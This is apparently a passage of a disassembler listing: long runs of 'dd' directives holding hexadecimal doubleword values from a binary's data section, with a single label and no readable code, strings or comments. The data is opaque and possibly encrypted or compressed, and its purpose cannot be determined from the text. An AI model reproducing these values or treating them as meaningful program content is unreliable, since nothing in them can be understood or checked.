5F2E5664h, 13093E78h dd 4E2838h, 935966FCh, 0B6D89718h, 814906C0h, 580822C9h dd 0F100B2B1h, 6D3455A0h, 5928CF09h, 960BE350h, 8225F551h dd 0D4313235h, 0B4F4A788h, 0D99F97BDh, 0A5C965FCh, 278B84h dd 0EC6D5F68h, 0BE5A0228h, 1B7DB641h, 2909F05Ch, 5A16FFF7h dd 5959742Dh, 0E22C4459h, 9BE909C3h, 67515731h, 6DBB5A16h dd 0CCA37F2Ch, 6A24EAD3h, 4BB547F0h, 101FA765h, 0C04B5109h dd 63C7F5E5h, 0A57B5D3Eh, 16E20CF4h, 4E13133Eh, 132E176Ah dd 8CCDBED6h, 0F610726Eh, 59145974h, 63C07CEh, 9AC2285Ch dd 5999576Fh, 626CEE8Ah, 2C3A4E09h, 709D741h, 5A795A57h dd 0A533A85Dh, 0E8D520AFh, 68E8310Bh, 3035A82Ah, 7008EA91h dd 0FC3014E0h, 3E7C009h, 2C683F80h, 0F83A284Bh, 0CEE91704h dd 0DC5CFAC2h, 5202E260h, 5AC59BF6h, 5635009Ch, 0AE4BBD2Eh dd 62AB51C4h, 0EADD4CD5h, 311F185Dh, 0F2B6A9B0h, 3ED37DF8h dd 3C174A6Ah, 89D9B252h, 52107458h, 0C742FEF4h, 0C484F484h dd 0E4688554h, 307ECFA5h, 781EE325h, 29F30BBDh, 69DE3499h dd 1ABB80BCh, 0FD01FE5Ch, 0C49127E9h, 477BB923h, 31C34703h dd 0D940929Ch, 0B26E244Bh, 5FED0C1h, 6B237AA3h, 0D9F76C91h dd 0B1BEE543h, 0F9206EF6h, 0D860820Bh, 31BF2D89h, 5F02586Ch dd 898F71DFh, 58C95168h, 2B193582h, 20C498A3h, 69A71629h dd 5FD25728h, 6446A403h, 0CB8F713Ah, 204E89FFh, 2008A51Ah dd 296E96h, 0BE56DF01h, 190451C6h, 693DE93Fh, 1F20C740h dd 53B802D8h, 3609241h, 0A97E9D2Dh, 0C4F95A13h, 13695111h dd 7290472h, 0CBE2486Ah, 30757427h, 9BA5E498h, 21BAE04Eh dd 89B6F1A8h, 7D665E26h, 0E8927D8Eh, 2B9C1072h, 9670582Dh dd 0A561B300h, 5FFB891Bh, 0B2DF4B31h, 68A0CB14h, 12AFEB24h dd 0EF3FE630h, 80180F1h, 0E87F2C8Bh, 4FE9A10Eh, 0E30C4D6Fh dd 5212C0Eh, 6058BE35h, 7DACBA05h, 467A3EFh, 13717C5Ah dd 2642BA80h, 2049B87Dh, 16C1F85Dh, 9F77E5E7h, 89D1057Ah dd 75D4C2CAh, 306A5BF6h, 47FE6885h, 0CB70D8BFh, 160E6F17h dd 0D6AA0625h, 0A0406492h, 2E682F55h, 2FBF18DDh, 106D0416h dd 0FA40E956h, 0BA2D1312h, 1031E63Fh, 95BFAF3h, 0BEA09E2Ch dd 3348E781h, 0EF258097h, 1426B6D0h, 0A0FA2903h, 2852CA02h dd 0FE583B72h, 0ED42F22Eh, 50FC6018h, 0C7A90B8Bh, 8970EEE9h dd 2C805B4Eh, 0A92E4F6Dh, 6A8F5EAAh, 0B9F6D931h, 40860106h dd 0C829D473h, 4E9EEE8Bh, 83E1D559h, 0D83E02C3h, 105AC18Bh dd 0D9B72EACh, 31249609h, 0DC8EC5Bh, 10FE2033h, 4B67B23Bh dd 27470BA0h, 0AE5053EAh, 7668A224h, 0D87F8951h, 7A20E96Eh dd 21CBA020h, 71A52412h, 1D081782h, 508903E8h, 0C042553h dd 62E76E2Eh, 77DDD580h, 47E5E28h, 16F34B9Bh, 1AB12B04h dd 0D2820416h, 0A88EBC44h dd 5E53926Bh, 3429EB54h, 0F2BBCC04h, 606ECB97h, 25C38038h dd 0BDB5ACBh, 1A24E50Bh, 0DC18880Ah, 4B416884h, 65C147B8h dd 2FF4C480h, 1E2E9BEDh, 70AA0EA5h, 1B3B798h, 53DC282Dh dd 0ECC00696h, 0AA7F3207h, 1045E748h, 0BC4F166Fh, 5F005A6Bh dd 0F099A4BFh, 71681239h, 2830FE60h, 1858613Ch, 0ECEAD126h dd 32F3B38h, 0DAE7E02Ah, 2ED34Fh, 51B2E71Fh, 41F877D5h dd 5D0FD1BEh, 830489C1h, 0AB6E323Ah, 7D8CFA05h, 0D9D5C889h dd 21A58DF3h, 7277C34h, 77BF5D59h, 0C078F660h, 82BE4FDBh dd 68FF4F03h, 0DB1FBAF2h, 0BFB05EF8h, 2916FDABh, 0CBAE5FFEh dd 0DAA21742h, 5F1E8BBFh, 7FCFF6C1h, 0A8C4CD28h, 4A85B2A4h dd 0E6E254F8h, 0EE078DE4h, 6E563CB6h, 66EFCE60h, 0FF764F04h dd 4AB18900h, 0BD218C70h, 7F098472h, 0DD501828h, 0DADFFE89h dd 0B0477117h, 11024CC0h, 49DD7701h, 70FA0127h, 0BA836802h dd 4DB760CFh, 0A7E45C46h, 0B9DD0512h, 5B01C9A9h, 48902498h dd 2BBD407Bh, 0FA136671h, 0FBE8E931h, 1A8BEAB5h, 0B20A45Bh dd 28ED8D4Eh, 2C7CC090h, 8CB51D3Ah, 0D7945259h, 36CC1913h dd 7D1B1F01h, 0E03A0AAFh, 805B3E6Dh, 793CF1BCh, 0AF174F92h dd 0B8E9FCC8h, 4536B43Dh, 50C9AF56h, 95DEC740h, 81DF00E1h dd 0A65964C5h, 8B70170h, 6E260845h, 0B23C7270h, 7E225A9h dd 205932D5h, 0E384F206h, 0F7195021h, 87884008h, 2D909CB0h dd 0CEAED04Bh, 7F271317h, 680BDDF2h, 69B07870h, 0F78A4F6Ch dd 3CF57712h, 0C9E913C7h, 7BC9CCAEh, 25518F49h, 94079CFh dd 0A2F6A0BEh, 4CB666EFh, 12D7FE16h, 145092Ah, 3A15304Ch dd 65D86A35h, 0A8140BF3h, 77D83107h, 3F9BEE04h, 84AB41DEh dd 3BB4ED67h, 3DAE82F6h, 59F2290Bh, 281686h, 59CE08CFh dd 9A596851h, 0FDE90938h, 405B7522h, 64086841h, 12D8223Ch dd 794BD33Eh, 0F5003BF6h, 499433ECh, 4D4A7C68h, 5412DBE3h dd 81C4F996h, 4C7FBFBDh, 9F19D920h, 0E40E746Ah, 48FCEB4Bh dd 24BBF36Eh, 5121FEC1h, 1012CB5h, 0B80520CAh, 0F111DC65h dd 0E8B6CC0Bh, 2473256Bh, 3E4F11C5h, 51BA0B09h, 6E8FF800h dd 0CC164E0h, 16FC264Bh, 7A8B042Bh, 0C1BE0070h, 9D775733h dd 1F56868Bh, 0E1ED0BA0h, 41813168h, 7845D06h, 56B8E3B1h dd 0EA8040C5h, 0D7548DFh, 62960CE9h, 1EF7923Ah, 1B719920h dd 813F008Fh, 0D96427F3h, 17B82949h, 0A7BF5702h, 0D79987A5h dd 698F8Ah, 0B2E50BBh, 0FF4A7EE9h, 601ADDEh, 0D1414A09h dd 8A5E21EDh, 0FE406C7Ch, 3487B498h, 0C3281CA4h, 0CE31F58h dd 0F1CB9CDEh, 0BB351F09h, 0F0AFD865h, 4FF9F2E6h, 2056FD5Bh dd 75C501D7h, 4FE9156Eh, 0AF893A26h, 946A35E0h, 7D68863Bh dd 9F2F7D3Ch, 7C2FA997h, 4416015Eh, 609709Bh, 0C7D4C018h dd 2605A356h, 2009D8B5h, 531732CDh, 4EAB551h, 5A11C95h dd 67F4C229h, 0CB5F4E5Ah, 66A608Ch, 153F4835h, 0A19E4AE9h dd 0D4566D9Eh, 6082D8A7h, 39BB5B1Fh, 68240D0Eh, 9718E957h dd 0BFD420BFh, 0BC2020ECh, 0BC095A16h, 0FE8184F9h, 0DEC9B8AAh dd 0FF2DA98Bh, 5B5B664Eh, 26CF5A80h, 0E9530CBFh, 2D2865B9h dd 1A03E50Fh, 0DE18450Ah, 4E09E47h, 0AEE42CD0h, 520505BDh dd 0FF5DA771h, 716A484h, 7FD92CBFh, 698F3612h, 5F8707F0h dd 47AB35D3h, 6EDDE9BFh, 97DEAF12h, 0A8E3E913h, 0CEAA4EEDh dd 5BF44A26h, 0D0C317FEh, 0ED9F8EBh, 0D4F3081Ch, 0BFADD2A1h dd 0C3205838h, 0E9B62C0Bh, 0BEEB20D3h, 2FA2586h, 0C0E6810Fh dd 0DC80A64Fh, 7B3B6DCEh, 22C69ECEh, 5D1CD7F2h, 0BB7F27E0h dd 3C027782h, 3AE86187h, 0D7050B44h, 2DF00125h, 0E5210712h dd 0EA04D10Fh, 0A1ACDA84h, 183AAC4Fh, 211AC393h, 0F531EECDh dd 2B25293Fh, 0E9C209A3h, 0FCA99BA6h, 0B004E50Fh, 0B331FF2Eh dd 617D7AF3h, 4629C9DEh, 9E035E4Ah, 37DAD3B2h, 99252DDCh dd 77F15DECh, 0B692013Fh, 21F3282Ah, 0C720F2E9h, 7B3FC547h dd 399D2DA2h, 681642CEh, 0C8B30F1Dh, 66B4BB00h, 0AAE92C8Ch dd 5A8A1C4Bh, 4A6AA710h, 68576280h, 561BBD53h, 0F86C35C0h dd 2F8B4C4Eh, 2DD00C10h, 9EAC485Eh, 5FEF1B6Fh, 50051243h dd 9CC9B2E3h, 6A22B1EBh, 61622ACh, 90C062BFh, 0B85FCEA4h dd 13C6186Fh, 4EB45066h, 0A4DEB0EDh, 185F991h, 898056C2h dd 9E574F2h, 1EE9597Dh, 665C3370h, 5BF41D8Fh, 3E0E495Bh dd 0C35CF8ECh, 40405E76h, 79D7EF81h, 9DBA54F9h, 1250DA97h dd 0AAB4A3E9h, 40F4AB9Ch, 0E9A15B88h, 7B210Ch, 0EAC0D8EBh dd 0CAFE071Fh, 0F8553979h, 0E23CD37Bh, 7CF2A606h, 55D58809h dd 3E324409h, 53519990h, 0E952B71Ch, 0B2EA5DD2h, 7DF88D58h dd 5C06BE02h, 5EE16224h, 654C550Bh, 0A5880096h, 0DBB80130h dd 0E8370106h, 6FB9C602h, 54646847h, 0EE5A34FAh, 0DF946432h dd 27C0D8E8h, 592F7913h, 562F44B8h, 0A55833FCh, 60910119h dd 65F9C6BEh, 85A02AABh, 5EF52C31h, 4C42269h, 115953B9h dd 4191FF0Ah, 0F76F06B0h, 5FFA0496h, 0D1201487h, 0CB0281EBh dd 0C0A341Ch, 0E9224083h, 12E6BAAFh, 0AF03E8C1h, 18166B35h dd 0FB3ED2EEh, 0BD04DB58h, 13BB0D47h, 5808B2EFh, 62350A8Ch dd 0D409B83Dh, 370B6893h, 4C6F2D27h, 0BC7CB742h, 5110F47Ah dd 59999634h, 0FD0A29AFh, 0C1638A2Ch, 800BC4E6h, 0C06B7E51h dd 7AE017BBh, 5A25E917h, 269E37BCh, 0EEB530DFh, 0BA2720DBh dd 12BE5C67h, 5B20C1D0h, 0E56B788Fh, 7E032782h, 560288A0h dd 0C9F712Dh, 0EA5D20D6h, 2B621A0Bh, 5E897816h, 294086F2h dd 9D1C5820h, 0E49500DDh, 0FFED36F2h, 4345827Ah, 0B9575A03h dd 5587913Bh, 0D6552DCEh, 2909E226h, 84726462h, 0E16C208h dd 9F47DAA5h, 0DDB2B7F2h, 5C90DB39h, 0F5907220h, 354054BDh dd 4CA1EA0Ch, 7621F942h, 0A947238h, 995C0CEEh, 37961A2Ch dd 0C2BE6022h, 5B5915B8h, 83C49827h, 765F090Ch, 12923C44h dd 2514CA3Ah, 973CD057h, 0AEA58245h, 1BC128Dh, 0A0E8E5Fh dd 0C8F461E9h, 4BD2489Dh, 66688B43h, 18F120Fh, 0DA6AEF4h dd 20A1BC5Ah, 0B2B99253h, 0FD452F8Bh, 5A257A67h, 0E95109B1h dd 810392Fh, 1683A8CFh, 0EB011A0Ch, 4DE21227h, 98C966F5h dd 20E10A38h, 9F27BA6h, 0DB55CFA5h, 6CD83D04h, 2A69A54Eh dd 0C21C52F7h, 1ADD2740h, 3BA61945h, 5BCBE04h, 6B148AA1h dd 5C3F8DB2h, 0EE5F182h, 5C5D4EA4h, 0FDA54E28h, 4822D05Fh dd 2E4E430Ah, 70008E1h, 99B95AE9h, 42EF0CB2h, 184CFC63h dd 2BC0A4C8h, 817B16EBh, 0C510B9C3h, 613DA301h, 6F322D00h dd 804AFD3Ah, 0D8D9A95Fh, 9F58C129h, 0E401DA61h, 484BABE9h dd 13052B5h, 893C4BD2h, 78F1E1E8h, 0CB93CE9h, 0E675596Ah dd 48091DB4h, 0EEE1812Bh, 800DB25Eh, 85360518h, 9F76E919h dd 3E68195Dh, 0F84FBB6Ch, 0BD550113h, 5E9E18EEh, 97B9F82Eh dd 0CE16FEh, 762ACDD0h, 0E4ED330Eh, 1B2C2573h, 0AF019CDDh dd 12B3767h, 6062E9D8h, 0ED25587Ch, 704B7718h, 41DEC3E0h dd 0B0C40786h, 5F55A042h, 559689F8h, 0A6CE210Fh, 70E59CAh dd 0AD539EBFh, 0C463A36Ah, 0C8F23B3Ah, 0EA02247Ch, 6BE21B13h dd 398FA018h, 6324045Bh, 0A201430Fh, 215C8E11h, 0C4207D21h dd 8169006Dh, 8EEC13Ah, 0CA4A58E9h, 511C9ABFh, 8F82C160h dd 2442F181h, 30C050A4h, 7CC214BAh, 16C97661h, 0B8445F26h dd 0CBDB05Eh, 0C60F5B37h dword_4F7844 dd 2D0407BFh, 0B5ABC986h, 9B7DC1BAh, 0B166233h, 72877C42h dd 461E1C02h, 1E96614h, 0B60D6137h, 2D663831h, 4AA114FAh dd 0C417E856h, 0AE5694C3h, 4A98498Ch, 3AD1B52Eh, 0F17B92B5h dd 10BF2995h, 0C44BA212h, 0E3ADBB3Eh, 0FFB0FA92h, 20174A74h dd 8821BC9Eh, 3E225D50h, 0FF31345Ah, 0AA2525F5h, 0E7D4F97Ah dd 0A37F694Dh, 6D3E342Bh, 0A9BCD316h, 0E79704B5h, 3A45CD1Bh dd 0CDAF5F3h, 0D75ADFFCh, 73A05E66h, 0D30132B3h, 56FD0121h dd 922C9EE9h, 2FF4A2Ch, 1D841572h, 55FD31C0h, 2D81A094h dd 3071773Fh, 5D72822h, 0E35FEB3Bh, 5BB41655h, 0C4211B28h dd 2C752Ah, 5348F381h, 434925CEh, 67C505Ah, 2A00F2E6h dd 1A2D0355h, 190E6C5Ah, 7316A4E9h, 504330F8h, 0FE13B00Fh dd 3FE4C5C0h, 0EB802590h, 0BEDF96D1h, 99A99999h, 3AC360E3h dd 8923617h, 731B3FB0h, 4FADC86h, 803B6F3Dh, 0A509717Dh dd 43D434Ch, 146A5DC7h, 0DEE23801h, 87092F42h, 20028209h dd 0B9A7A67h, 3D034C66h, 2E60284h, 41D3F65Ah, 0BA920E13h dd 0A73A8D50h, 0D1825FEAh, 9C5E22E9h, 6C31B801h, 0AB704477h dd 4F31B4F9h, 0BA6E1704h, 8709F35Fh, 0C5EB84DFh, 0A2101614h dd 37FB5F2Ah, 0E723C248h, 8A830DF6h, 0DA07C44Bh, 23274C1h dd 24088BBh, 0F6EBDD61h, 75D20977h, 0C2F55AEAh, 99FE00h dd 0B670FDE2h, 311C80BBh, 62F2662Ah, 0DFB4ABBAh, 53090814h dd 0D9079E08h, 58C52870h, 218BBD1Ah, 685C4B20h, 59BD47C0h dd 1D9A021h, 17EE4BE8h, 9CECB3E9h, 7984AF63h, 5482B12Ch dd 88365145h, 542F7B5Bh, 17E44295h, 8948B8D5h, 5DADC9EEh dd 961C5B75h, 0C742BA21h, 5F5C9F68h, 0A209ADEDh, 0C19E4846h dd 90144A15h, 78C9E1A8h, 7519B33Bh, 0D730609h, 808D891Ah dd 0C03EF13Eh, 5E404AD7h, 0B45FE5B5h, 23C6688Dh, 6D0925B5h dd 89D3C7F5h, 7A12B120h, 444A8740h, 449075E2h, 0BF009CB2h dd 732835FAh, 4EE7C14Fh, 2B5CAE07h, 0F5AB55D2h, 0D5122081h dd 173FE6Bh, 72880C8Ch, 0D03B65EDh, 7337E29Ah, 0F0F3025h dd 1A3BED9Eh, 0A7E4F52Bh, 0C4A66308h, 0F458BBD3h, 4C611EBh dd 2C90A392h, 0A01DE256h, 0BE506480h, 5ADA356Ch, 3F1D2DB7h dd 4F6009F5h, 9B0A60B1h, 7B68CAE1h, 46F0F58h, 4FFD1408h dd 5D2D1A82h, 6858AAF4h, 2D50EF1Ah, 9DFDDFE9h, 924A71F1h dd 0C3048928h, 0ACBED3B8h, 2DAA9AAh, 57FA1F77h, 6F96F929h dd 2A55E370h, 0B5EEFEBAh, 0E9860047h, 4DD5E18h, 0E24154C3h dd 2DF5FE5Dh, 7E4142D6h, 75ED82EAh, 12D506C0h, 1E5B5D29h dd 3DFE4F3Ch, 6ABCC13Ch, 0C13790F6h, 17D9D396h, 0A7EBA73Bh dd 0EE0DE23Ch, 4B78FABBh, 4B80A719h, 929E39BFh, 0C1AAB80Dh dd 3A4429A3h, 5CE96020h, 0EE8DA45Eh, 4E5740A5h, 35414F90h dd 874BA06Fh, 0C9CB2BFFh, 12140500h, 0E8012003h, 0E9072D50h dd 21F1824Fh, 94E3A26Fh, 4E913F7Eh, 1213BCF2h, 8C45DDAAh dd 404058B8h, 431C05AEh, 0A090E92Fh, 5071688Eh, 0E5F4189Dh dd 68B09748h, 3E2F38E0h, 0C1C203h, 0C1C722EDh, 0E2E916FCh dd 53F02831h, 9F1576BFh, 0B87D2F83h, 84BF5769h, 0D0090190h dd 5F3C673Ah, 0EEDD9B92h, 0E911808Eh, 0D1174AC6h, 53220BFEh dd 7BE978AEh, 5175C209h, 39004B0Ch, 30F5549Dh, 5B50F9BCh dd 0F9AF4DE9h, 4444AF4Ah, 0BE00D5EAh, 238644BAh, 5E6C116h dd 56613301h, 0DE680809h, 38995F27h, 15D62B2Dh, 8CD0A31Eh dd 0D716BE13h, 0EEE749FEh, 0F5E17AD7h, 256B44F6h, 0C3C53573h dd 0EC45E30Ah, 0FF61A4B9h, 94B55160h, 0DCCD51FEh, 3533002Eh dd 63C813E4h, 40099A97h, 0E4BAAD7h, 7CE94243h, 0B17525BCh dd 718438DDh, 0D8183F68h, 0B00B95Fh, 0DBF729BEh, 12C26856h dd 0BC210F16h, 98782E37h, 0C1621F43h, 53F14317h, 0D9E668DAh dd 40183D47h, 0EFDEEE35h, 0D72AFBA6h, 0CE6895E9h, 0B980ADCFh dd 3B6295E5h, 48BDBB4Ch, 0BFB0E9C5h, 615B2602h, 289A4541h dd 60C5A775h, 0D4289E47h, 0EEB0C274h, 0E1C12449h, 91C90130h dd 0DB672237h, 5E1998C8h, 4C8334Ch, 0CCBDEE74h, 3610D0E8h dd 0D8A85F46h, 524B8B05h, 0F4AC8075h, 2A600354h, 1A733B40h dd 5939E09h, 0AEB189D5h, 662467E2h, 0EB8085D9h, 0E2ED0969h dd 77410212h, 0EC976EBAh, 0EBB72599h, 60FB27BAh, 318E6D7Eh dd 800ADA95h, 4CECE908h, 0BDE2DCDh, 1E48BF09h, 0E465785Bh dd 0B1BEC296h, 0F518AD30h, 0B0D03C09h, 7629B727h, 2F2BCA4Ch dd 1CD79B0Bh, 0BE664FCBh, 0D43EFB4Bh, 0BFD92FB2h, 254788EEh dd 8612797Eh, 171963F4h, 13769B51h, 0F695FBC0h, 0E78EC2FBh dd 0D75A3DDEh, 0D4BD6B94h, 0EB82526Ch, 0FD271B81h, 73605472h dd 0A9AABD3Dh, 0B2CED2ECh, 3F39113Fh, 7341421h, 7285FF01h dd 0F92B412Bh, 0C0BF4EFFh, 0AB6B5614h, 95A3002h, 63535BD9h dd 484491C6h, 6A079288h, 0D88BF03h, 0F781D86Bh, 800DD68Ch dd 0E95756B4h, 3B71465Dh, 9222554h, 700B7E85h, 1326D605h dd 0D8139BDCh, 28804600h, 0B7463112h, 0C12EBCC4h, 0D613A4EEh dd 66906101h, 0D54035A4h, 601E5615h, 0FC2A4896h, 0F028297Eh dd 9584072Dh, 4ECA4720h, 7C8BE359h, 0E53AB927h, 13EC32EAh dd 0BF0E20Ch, 135F63Eh, 29A520D5h, 0F37B2B61h, 6121E9D8h dd 0ECC12D6Bh, 9C9F87Dh, 3EF4829Dh, 3CD659BDh, 0F41D5B72h dd 595ECB03h, 0C0813E0Eh, 7C5352Dh, 379327E9h, 0B8230EC8h dd 89E43E1Bh, 8EFC82Eh, 491C017Ah, 0BA68DF01h, 0C5E87872h dd 27F8316Eh, 81C13884h, 380FB870h, 619782BCh, 7CAC89A6h dd 490F39F2h, 0F6E47D80h, 2C81C29Eh, 0EE9AC875h, 569813D8h dd 7EFEA15Ch, 0A1CF87B5h, 0F3605078h, 8702E7D3h, 13090DD0h dd 0E07ED871h, 81EDBBF1h, 5DE13E5Eh, 13B851CEh, 3F5FB179h dd 0C1BB8F34h, 7F88F73Ah, 0E9B18BBDh, 0EBA87A57h, 215453C5h dd 6CA76EB4h, 0A9B89290h, 0AAD3476Eh, 89EF5F21h, 5EC8A76Ah dd 800E2BF8h, 0C364E7ECh, 1092B83Dh, 4A514BF8h, 0B9A53F88h dd 58C18802h, 13545F5Bh, 254C8870h, 891A0187h, 0C09D93D8h dd 909D415Dh, 33B12F9Bh, 5C0FB8D9h, 77EB4B52h, 1E553E09h dd 7B1A251Dh, 6812E7E4h, 83779D5h, 8F3D9280h, 0EB32B071h dd 0F8A51979h, 2FFBD43Fh, 2F107940h, 0B3B64CE8h, 72C4DEBFh dd 637C55Fh, 300E7DE9h, 8A7049Dh, 8BF07EC0h, 4E1E7F31h dd 6140EEA0h, 334D74E2h, 0B7D74CF7h, 957D8026h, 5F2F9AF8h dd 7CB79494h, 875AC19Ah, 28BA2F3Ch, 0DC38E93Dh, 0CFEF4A44h dd 288434ECh, 2DE18EBBh, 9C214050h, 0AF0091FDh, 0C3FA7D0h dd 242CDC2Dh, 0BC32D153h, 0FEDC5513h, 779CB8C0h, 0A4645C8Ch dd 0D98AE909h, 0C2085157h, 2C03570Dh, 0CAF8835Eh, 2833744Bh dd 0BFF57B9Dh, 0B9600BF6h, 5F9244CCh, 2AFB86Ch, 2837BB53h dd 1549DD4Eh, 0E06DC0C3h, 3281C94Eh, 133EF1E9h, 0D496F9FFh dd 6A0F0547h, 0FEC2128Eh, 0FE590670h, 4AA0D349h, 93F65EAAh dd 5364040h, 0D139F517h, 10950BCh, 465E81D9h, 2875F314h dd 0CB90233Fh, 6532EB8Ch, 0B0E87855h, 706E0B41h, 315020FEh dd 4004B180h, 0FDC05028h, 0B51D5A9Dh, 0B0D6BBE0h, 62A5F189h dd 0FFE489D5h, 0E5575AC2h, 68E9B1A9h, 42E83ABCh, 6C37059Eh dd 7CF3C18Fh, 0FE32B45h, 28C1B980h, 0B8324F53h, 62310BC5h dd 8E9340F3h, 417D2C37h, 84A39209h, 0D3F3BA8Fh, 0AF0558C4h dd 9E38D3B1h, 0EA7468C4h dd 13742DA3h, 0BC116B46h, 0D4EA4531h, 540B3E09h, 429BE9C0h dd 79565FFAh, 29565D72h, 79A9CF5Bh, 0FC5A6561h, 4C97B1BBh dd 0D860C86Bh, 5C346E14h, 0F20979F2h, 231ADA2h, 56D827Fh dd 0FA2EA5Fh, 487F2D7Ch, 0D0C012DFh, 0F16CF8D3h, 0BE850C57h dd 9E2FB8A1h, 25E938B0h, 5C2E5BEh, 4468525Dh, 52D7C5Bh dd 0CFC4E5D1h, 0F24A8EACh, 1F490525h, 77FA1E05h, 0A9AF753Bh dd 6FF17ED2h, 0BBA4B9BCh, 0BB6BF4h, 1264667Fh, 439FFEBFh dd 4ECEF458h, 11E678FBh, 4B8AAE56h, 0C9D1DDFAh, 0FFFA7564h dd 8B48DBC1h, 55F92195h, 14802F30h, 68D54882h, 89554BB4h dd 0E52D09A8h, 7A5970EAh, 3A3EF882h, 29BA447Ch, 42EB10E4h dd 40B70F58h, 8151C231h, 4CA76B50h, 0D70337Eh, 8B26311Ch dd 481DE15h, 765368EFh, 45F34457h, 0E2112C09h, 1AD109F3h dd 8002CC90h, 2839C207h, 0E61A5AD0h, 40208614h, 0F42DB192h dd 0B198FF88h, 0F549E950h, 37E05B3Bh, 344C653Ah, 12EACA55h dd 34B89836h, 71E9EFE4h, 0B30F6609h, 9EF00C69h, 385B9DFh dd 3B8078A7h, 17357594h, 4EAC132h, 0BF3420D8h, 2DC63B47h dd 9E4DF709h, 60F332A5h, 24AFBB1Eh, 186C980Dh, 87E90BB1h dd 66FF3B55h, 0A25F706Dh, 3079EBF3h, 42103767h, 0E4A5068h dd 3216278Ch, 364EAC46h, 5C18F750h, 0AD128F66h, 6838C20Ah dd 0EF152C3h, 291D5612h, 33C0FB70h, 0C7384C47h, 0D4659705h dd 4863BC0Ch, 0B42D0E47h, 9DE92253h, 60054A1Eh, 0C9FA01C6h dd 0B8855FA3h, 3664AF0Ah, 0E55B9282h, 276809F1h, 0BF815F79h dd 6FD91AA7h, 6948803Bh, 0E9124213h, 0AB8C3D4Dh, 0F66C40D4h dd 0EA80D20Eh, 5AD302C6h, 0E096D588h, 0CFB75305h, 2004F828h dd 9073E5Bh, 0AC7775F7h, 0AEE74F1Ch, 34546358h, 4BCEB8D6h dd 8EAB91D1h, 8DE63F4Ch, 4018257Fh, 2C1A1348h, 0AA257732h dd 20CFF2A4h, 0F39D97CDh, 50440ABAh, 232685BDh, 0E1308009h dd 0AA2F754Ch, 0A7802018h, 0A0067201h, 0EE548BCBh, 85E9156Bh dd 5213E97Eh, 0C123ED15h, 224997B9h, 74B97Ch, 563F255Dh dd 110AA7BEh, 134E795Ah, 78F0A2C6h, 5DAFC215h, 76ADADF6h dd 79DF5A3Ah, 38E9500Ah, 0A042446Ah, 0B9479A03h, 0DC4ADF4Fh dd 7612688Bh, 0BDB6601Bh, 0F44FF680h, 330854E8h, 0E904DE20h dd 79A38E4Ch, 1D16ED15h, 7D11BA00h, 19E96734h, 802AC867h dd 0E1070867h, 5857C157h, 2366B30Fh, 0CC68155Ah, 0F278256Ch dd 62CCBF6Dh, 0FC34ED02h, 60D0D504h, 0BF4B3EB4h, 234AF1B2h dd 2814FC81h, 0EDA56052h, 62FD5F0h, 0F24978AAh, 40C309E7h dd 0A86B7419h, 0FDF967E0h, 0FA299802h, 0A515B6E9h, 0E1AABB73h dd 8DB54141h, 0D75E023Dh, 0DC4B5071h, 0BE8CC278h, 7A625A07h dd 2F27C4EFh, 0B16613E1h, 6481B40Ch, 76B18A3Bh, 0D314862h dd 0D9172604h, 0C4E1FF6Bh, 0B2241CFh, 17043A61h, 5792BD82h dd 0C08163E4h, 0DB0404FCh, 64FA9C77h, 6FE6EF6Dh, 23E6E90Bh dd 682F1DEEh, 20045A35h, 1F9C0F86h, 2512D049h, 0CD4525F2h dd 54B95E16h, 0BCDECA3Eh, 0D921C4CFh, 2BCE3DBEh, 8EF1D6ACh dd 0E52724E4h, 0B15E1C78h, 4159E20Bh, 7EEEC90Bh, 0F8689ED9h dd 49A31666h, 39F97CA2h, 225CD31Fh, 0B2A7B8E5h, 4BB8B097h dd 3327D10Ch, 2F99A643h, 0FB5D5C09h, 619B00D5h, 72B877ADh dd 180C56E2h, 3547EFE9h, 7E190CBDh, 93D2202Bh, 0C4A783Bh dd 12DDF745h, 53E13D1h, 0D8CD9356h, 30DD57B2h, 2E590693h dd 0C09110FFh, 0F506ABFh, 60B0705Ah, 0B1575425h, 5451785Bh dd 1D2D8678h, 0C2126B4Bh, 4027D435h, 0DEB5B0D0h, 4FFA8969h dd 0F918115Dh, 24D2EA14h, 0DF3F6103h, 35F8A03Eh, 7B881340h dd 790E2ADCh, 42C46BC8h, 53C4E15Fh, 4C7DEF2Fh, 7630FF2Fh dd 971FB0E9h, 812561C6h, 970EC412h, 12515849h, 49D657E3h dd 3A0B881h, 0E03A2F3Ch, 3300855Dh, 7B0D63D5h, 975AB747h dd 7A2A055h, 141A905h, 0C7253F1Bh, 303AB132h, 709829FFh dd 0F4EFA8A1h, 2227D20Ch, 0E47800D1h, 0B5CE4D50h, 351C1850h dd 3C441D84h, 21E2C601h, 0BC77298Fh, 0CD067CF9h, 45EA871Dh dd 0F2813F06h, 0E2DE571Bh, 1A550FA2h, 17128ECDh, 7D1C4000h dd 4817210h, 6A440FE6h, 1716FE5Ch, 14029DADh, 15E6F17h dd 5D02E808h, 0F867D7CFh, 0C0C8F82Ah, 472A7C28h, 0E87FE916h dd 413097A1h, 0D65966A8h, 0D955EF42h, 6658803h, 7AB85000h dd 14A1746h, 0D0679805h, 0C8F12579h, 35797307h, 24FE7B16h dd 41BFF1B0h, 4D40548h, 0C62A2D7Ah, 0D90184AFh, 0E96AAF20h dd 0DC7F0C41h, 0C72F892Ch, 0DF59C258h, 6816594Ch, 7346342h dd 58799FC0h, 0B97F5CCFh, 0D5C9844Bh, 0DD61EF82h, 0AC2A3997h dd 2988DE8Dh, 93C11D4Dh, 82E2040Ah, 1BFC133Eh, 0E41B1385h dd 695F951Fh, 0FA500828h, 416D5E54h, 4201208Dh, 4343A0Ah dd 0B4F745BEh, 848BFAF3h, 8B238D86h, 0B888AAC4h, 0EA6328EEh dd 0A0261A71h, 2A167C58h, 4A773DADh, 9C18132h, 604449D9h dd 0A03A9231h, 5FE5C8AFh, 2905E8ADh, 0A00BE9CAh, 409D31EFh dd 80B601A9h, 502EC2BBh, 0E3004245h, 65304825h, 0CC7F79E9h dd 99B2B220h, 0D5FB8B9Dh, 59298EDh, 82CA84FEh, 0D4CC1F9Ch dd 73B77A2Bh, 4858FA3Dh, 0CDB3C5BAh, 3F5B3DFAh, 5DA65AACh dd 65CDB12Dh, 0CB61669h, 81C72919h, 781EEE71h, 10C97269h dd 8844D11Ah, 24266C27h, 8A39961Ch, 27096968h, 0E906B29Fh dd 5F144AD1h, 5D2DEE5Eh, 0EA55253Fh, 0E627B9Dh, 35E5A10h dd 9168F0BFh, 79B1D142h, 0A76CBE2Ah, 3AFB41DDh, 827F1B88h dd 0D828EB77h, 0BFDDAE96h, 2E5D0669h, 0FBD3854h, 0CC3357C8h dd 1B931F81h, 25164834h, 0EDE955C0h, 9BAC1D4Bh, 